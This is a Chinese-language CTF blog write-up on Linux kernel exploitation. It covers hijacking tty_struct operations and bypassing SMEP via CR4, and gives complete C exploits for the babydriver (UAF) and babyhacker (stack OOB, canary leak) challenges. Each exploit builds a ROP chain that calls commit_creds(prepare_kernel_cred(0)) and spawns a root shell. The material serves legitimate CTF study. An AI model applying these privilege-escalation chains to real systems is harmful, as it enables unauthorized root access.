kernel pwn: ROP(续)

前面只找到qwb的题目,这次突然又看到安全客上“Kernel Pwn 学习之路(二)”有蛮多以往的ROP赛题,算是再补充一下。

相关知识点

tty_struct结构体

由于ptmx是众多tty设备中的一种,当open("/dev/ptmx", O_RDWR);打开的时候,会分配一个tty_struct

tty_struct结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

注意到结构体中有个成员const struct tty_operations *ops;,这个tty_operations结构体的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

可以看到有大量的函数指针可用。

因此利用tty_struct结构体的思路就是劫持这个tty_operations结构体,覆盖相应的函数指针,达到控制程序流的目的。而通常情况下,会选择int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);这个函数指针。

而且由于ptmx设备打开时,分配tty_struct结构体也是通过slub分配器分配的,所以控制起来就比较方便了。

bypass smep

系统判断是否开启smep保护,是根据CR4寄存器的第二十位bit来确定的,如果是1则为保护开启状态,否则为0。

因此要bypass smep,就需要将CR4的第二十个bit置位为0,主要是通过从vmlinux提取出gadgets,通过mov cr4, xxxxx来完成。
为了保持再关闭smep后,其他标志位不变或者即使变化也不会影响后续操作系统的正常运行,CR4的修改可分为两种思路:

  1. 通过kernel crash获取CR4的值(可以通过kfree一块非法内存,比如x86下kfree(0xFFFFFFFF)),然后将第二十个bit置0后,再通过gadgetmovCR4中。
  2. 或者用固定值0x6F0,即mov cr4, 0x6f0
    而至于gadget的提取,若题目给了vmlinux,可以直接用ROPgadget或者ropper提取,若没有,则可以通过extract-vmlinux从内核镜像bzImage中提取vmlinux
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    #!/bin/sh
    # SPDX-License-Identifier: GPL-2.0-only
    # ----------------------------------------------------------------------
    # extract-vmlinux - Extract uncompressed vmlinux from a kernel image
    #
    # Inspired from extract-ikconfig
    # (c) 2009,2010 Dick Streefland <dick@streefland.net>
    #
    # (c) 2011 Corentin Chary <corentin.chary@gmail.com>
    #
    # ----------------------------------------------------------------------

    check_vmlinux()
    {
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    # and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
    }

    try_decompress()
    {
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
    pos=${pos%%:*}
    tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
    check_vmlinux $tmp
    done
    }

    # Check invocation:
    me=${0##*/}
    img=$1
    if [ $# -ne 1 -o ! -s "$img" ]
    then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
    fi

    # Prepare temp files:
    tmp=$(mktemp /tmp/vmlinux-XXX)
    trap "rm -f $tmp" 0

    # That didn't work, so retry after decompression.
    try_decompress '\037\213\010' xy gunzip
    try_decompress '\3757zXZ\000' abcde unxz
    try_decompress 'BZh' xy bunzip2
    try_decompress '\135\0\0\0' xxx unlzma
    try_decompress '\211\114\132' xy 'lzop -d'
    try_decompress '\002!L\030' xxx 'lz4 -d'
    try_decompress '(\265/\375' xxx unzstd

    # Finally check for uncompressed images or objects:
    check_vmlinux $img

    # Bail out:
    echo "$me: Cannot find vmlinux." >&2

ciscn 2017 babydriver复现(ROP做法)

题目分析

之前已经分析过了,就不再描述了。要注意的是没有开kaslr。

利用思路

  1. open设备ptmx之后,利用UAF劫持ptmx设备的tty_struct结构体,修改其中tty_operations的指针指向伪造的表。
  2. 伪造表的ioctl函数指针改为gadgetxchg eax, esp; ret;,从而达成stack pivot。因为此时eax正好是xchg eax, esp; ret;的地址的低4 bytes,所以在kaslr关闭的情况下是确定的。因为栈地址要对齐0x8,因此该gadget的地址也要对齐0x8,否则会crash(亲测)。而且注意这里执行xchg eax, esp的时候,实际上raxrsp的高4 bytes都不是0,但是结果是两者都变成了0,也就是说rsp变成了0x00000000xxxxxxxx,具体原因可以参考(stackoverflow)[https://stackoverflow.com/questions/11177137/why-do-x86-64-instructions-on-32-bit-registers-zero-the-upper-part-of-the-full-6?tdsourcetag=s_pctim_aiomsg]。
  3. 调用mmapeax指向的空间分配一块内存,在其中布置rop chain,依次完成CR4的修改,提权,状态切换,起shell的操作。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    +----------------+ 
    | pop_rdi |
    +----------------+
    | 0x6f0 |
    +----------------+
    | mov_cr4_rdi | ==> mov cr4, rdi; pop rbp; ret;
    +----------------+
    | fill |
    +----------------+
    | priviledge | ==> commit_creds(perpare_kernel_cred(0));
    +----------------+
    | swapgs | ==> swapgs; pop rbp; ret;
    +----------------+
    | fill |
    +----------------+
    | iret | ==> iret
    +----------------+
    | getshell | ==> system("/bin/sh");
    +----------------+
    | user_cs |
    +----------------+
    | user_rflags |
    +----------------+
    | user_sp |
    +----------------+
    | user_ss |
    +----------------+
  4. 调用ptmxioctl,劫持控制流,逐步触发stack pivor和rop chain,get root shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define COM_MALLOC 0x10001

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("[*] Status has been saved.\n");
}

size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t commit_creds = 0xffffffff810a1420;
void priviledge_escalation()
{
void *(*pkc)(void *) = (void *)prepare_kernel_cred;
int (*cc)(void *) = (void *)commit_creds;

(*cc)((*pkc)(0));
}

void getshell()
{
if(getuid() == 0)
{
printf("[+] Root!\n");
system("/bin/sh");
}
else
{
printf("[!] Failed!\n");
}

}

int main(void)
{
int fd_1, fd_2;
int fd_ptmx;
size_t fake_tty_struct[4];
size_t *rop;
void *fake_tty_operations[30];
size_t swapgs_addr, iret_addr, pop_rdi_addr, mov_cr4_rdi_addr, xchg_eax_esp;
int i;

// open the device twice
fd_1 = open("/dev/babydev", O_RDWR);
fd_2 = open("/dev/babydev", O_RDWR);

// malloc a chunk with sizeof(struct tty_struct)
ioctl(fd_1, COM_MALLOC, 0x2E0);

// free the chunk
close(fd_1);

// open device ptmx
fd_ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if(fd_ptmx == -1)
{
printf("[!] Device ptmx open failed!\n");
return 0;
}
else
{
printf("[+] Device ptmx open successfully!\n");
}

// save status
save_status();

// rop chain
pop_rdi_addr = 0xffffffff810d238d; // pop rdi; ret;
mov_cr4_rdi_addr = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
swapgs_addr = 0xffffffff81063694; // swapgs_pop_rbp_ret;
iret_addr = 0xffffffff8181a797; // iretq;
xchg_eax_esp = 0xffffffff81007808; // xchg eax, esp; ret;

// mmap rop memory
rop = mmap((void *)0x81000000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if(rop == MAP_FAILED)
{
printf("[!] Mmap failed!\n");
return 0;
}

i = 0;
rop[0x7808 / 8 + i++] = pop_rdi_addr;
rop[0x7808 / 8 + i++] = 0x6f0; // cr4
rop[0x7808 / 8 + i++] = mov_cr4_rdi_addr;
rop[0x7808 / 8 + i++] = 0; // rbp;
rop[0x7808 / 8 + i++] = (size_t)&priviledge_escalation;
rop[0x7808 / 8 + i++] = swapgs_addr;
rop[0x7808 / 8 + i++] = 0; // rbp;
rop[0x7808 / 8 + i++] = iret_addr;
rop[0x7808 / 8 + i++] = (size_t)&getshell;
rop[0x7808 / 8 + i++] = user_cs;
rop[0x7808 / 8 + i++] = user_rflags;
rop[0x7808 / 8 + i++] = user_sp;
rop[0x7808 / 8 + i++] = user_ss;

// fake tty_operations
fake_tty_operations[12] = (void *)xchg_eax_esp;

// modify tty_struct->tty_operations
read(fd_2, fake_tty_struct, 0x20);
printf("[+] The first qword of tty_struct: %lx\n", *fake_tty_struct);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd_2, fake_tty_struct, 0x20);

// ioctl ptmx
ioctl(fd_ptmx, 0, 0);

return 0;
}

2020高校战疫分享赛 babyhacker

题目分析

保护机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

#stty intr ^]
#cd `dirname $0`
qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=2,threads=4 \
-cpu qemu64,smep,smap 2>/dev/null \
-s

开了smep,smap,kaslr以及canary。
解包文件系统,提取babyhacker.ko,分析ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
file *rdx1; // rdx
__int16 v5; // di
int v4[80]; // [rsp+0h] [rbp-150h] BYREF
unsigned __int64 v8; // [rsp+140h] [rbp-10h]
__int64 v9; // [rsp+148h] [rbp-8h]

_fentry__(file, cmd, arg);
v9 = v3;
v5 = (__int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
babyhacker_ioctl_0(rdx1, *(__int64 *)&cmd, (unsigned __int64)rdx1);
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize);
break;
case 0x30000u:
if ( (int)rdx1 >= 11 )
v5 = 10;
buffersize = v5;
break;
}
return 0LL;
}

__int64 __fastcall babyhacker_ioctl_0(file *file, __int64 cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
int v4[80]; // [rsp+0h] [rbp-150h] BYREF
unsigned __int64 v6; // [rsp+140h] [rbp-10h]
__int64 v7; // [rsp+148h] [rbp-8h]

_fentry__(file, cmd, arg);
v7 = v3;
v6 = __readgsqword(0x28u);
return copy_from_user(v4, file, buffersize);
}

可以看出,很明显的功能0x30000中,(int)rdx1 >= 11只是截取了rdx1的低4 bytes,并作为int类型进行解析,若为负数则可以直接绕过此check。
而后续的对buffersize = v5的赋值,v5 = (__int16)rdx1;,截取了rdx1的低2 bytes作为长度值,所以这里v5的范围为0x0 ~ 0xFFFF
那么在调用0x30001功能的时候,copy_from_user(v4, file, buffersize)buffersize最大为0xFFFF,而v4最大为0x50
同样的,0x30002功能也能读到v4之后的栈上的内容。

利用思路

  1. 首先利用OOB,读出canary以及栈上存在的vmlinux代码段残留地址,计算出vmlinux_base。
  2. 从bzImage中提取出vmlinux,然后搜索gadgets。
  3. 同上题,构造rop,依次bypass smep和smap,然后提权,返回用户态起shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define SIZE_CMD 0x30000
#define WRITE_CMD 0x30001
#define READ_CMD 0x30002
#define MASK 0x80000000

int64_t prepare_kernel_cred_offset = 0xffffffff8dc19218 - 0xffffffff8daa1820;
int64_t commit_creds_offset = 0xffffffff8dc19218 - 0xffffffff8daa1430;
uint64_t prepare_kernel_cred, commit_creds;

ssize_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");

printf("[!] status saved\n");
}

void privilege()
{
void *(*pkc)(void *) = prepare_kernel_cred;
void (*cc)(void *) = commit_creds;

cc(pkc(0));
}

void getshell()
{
if (getuid() == 0)
{
printf("[+] root!\n");
system("/bin/sh");
}
else
{
printf("[!] failed\n");
}
}

void retq()
{
__asm__("swapgs;"
"iretq;");
}

void sub_rsp()
{
__asm__("sub rsp, 0x178;"
"ret;");
}

int main(void)
{
int fd = open("/dev/babyhacker", O_RDONLY);
if (fd < 0)
{
puts("open failed");
exit(-1);
}

uint8_t *buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED)
{
puts("mmap failed");
exit(-1);
}

ioctl(fd, SIZE_CMD, 0x158 | MASK);
ioctl(fd, READ_CMD, buf);

uint64_t canary = *(uint64_t *)(buf + 0x140);
uint64_t vmlinux_addr = *(uint64_t *)(buf + 0x150);
prepare_kernel_cred = vmlinux_addr - prepare_kernel_cred_offset;
commit_creds = vmlinux_addr - commit_creds_offset;
printf("[+] canary is: %lx\n", canary);
printf("[+] prepare_kernel_cred address is: %lx\n", prepare_kernel_cred);
printf("[+] commit_creds address is: %lx\n", commit_creds);

save_status();

uint64_t pop_rdi = vmlinux_addr - 0x219218 + 0x9054d;
uint64_t mov_cr4_rdi = vmlinux_addr - 0x219218 + 0x4d70;

int base = 0x140 / 8;
int idx = 0;
((uint64_t *)buf)[idx] = (uint64_t)privilege;
((uint64_t *)buf)[idx++] += 4;
((uint64_t *)buf)[idx] = (uint64_t)retq;
((uint64_t *)buf)[idx++] += 8;
((uint64_t *)buf)[idx++] = (uint64_t)getshell;
((uint64_t *)buf)[idx++] = user_cs;
((uint64_t *)buf)[idx++] = user_rflags;
((uint64_t *)buf)[idx++] = user_sp;
((uint64_t *)buf)[idx++] = user_ss;

idx = 0;
((uint64_t *)buf)[base + idx++] = canary;
((uint64_t *)buf)[base + idx++] = 0;
((uint64_t *)buf)[base + idx++] = pop_rdi;
((uint64_t *)buf)[base + idx++] = 0x6e0;
((uint64_t *)buf)[base + idx++] = mov_cr4_rdi;
((uint64_t *)buf)[base + idx++] = 0;
((uint64_t *)buf)[base + idx] = (uint64_t)sub_rsp;
((uint64_t *)buf)[base + idx++] += 8;

ioctl(fd, SIZE_CMD, (0x140 + idx * 8) | MASK);
ioctl(fd, WRITE_CMD, buf);

return 0;
}

参考链接

  1. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/
  2. https://www.anquanke.com/post/id/201454
  3. http://www.g3n3rous.fun/index.php/archives/7/
Author: Nop
Link: https://n0nop.com/2020/05/13/kernel-pwn-ROP%EF%BC%88%E7%BB%AD%EF%BC%89/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.